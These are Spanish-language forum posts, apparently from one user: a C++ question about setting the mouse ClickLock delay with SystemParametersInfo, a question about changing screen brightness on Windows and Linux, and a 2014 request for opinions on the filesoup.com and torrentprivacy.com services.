SystemParametersInfo(SPI_SETMOUSECLICKLOCKTIME, 0, &speed, 0);
SystemParametersInfo(SPI_GETMOUSECLICKLOCKTIME, 0, &speed, 0);


Se me activa bien pero luego al intentar cambiar la velocidad con SPI_SETMOUSECLICKLOCKTIME luego al recibir la, el speed ya es un numero como 3252721060 y el mouseLock no funciona. Si lo cambio desde el panel de control funciona y consigo apagar y encender desde c++ pero no cambiar la velocidad.

Donde fallo? En Microsoft pone:

Adjusts the time delay before the primary mouse button is locked. The uiParam parameter should be set to 0. The pvParam parameter points to a DWORD that specifies the time delay in milliseconds. For example, specify 1000 for a 1 second delay. The default is 1200

Saludos
#89
Hola como se pueden modificar las configuraciones de la pantalla por ejemplo para cambiar el brillo con c++ en windows y linux ?

Saludos
#90
Foro Libre / Filesoup y TorrentPrivacy opiniones
5 Noviembre 2014, 22:55 PM
Creen que la nueva pagina de descargas p2p http://filesoup.com/ es mejor que las otras.

Y luego http://torrentprivacy.com/index.php?mod=v2_main_10&a_aid=2&a_bid=087880b1 que en teoria te oculta ante tu ISP lo que descargas.

He visto las 2 paginas pero me parecen de los tipicos que al final siempre te piden que pagues o tienen algo oculto.

Que opinan.

Un saludo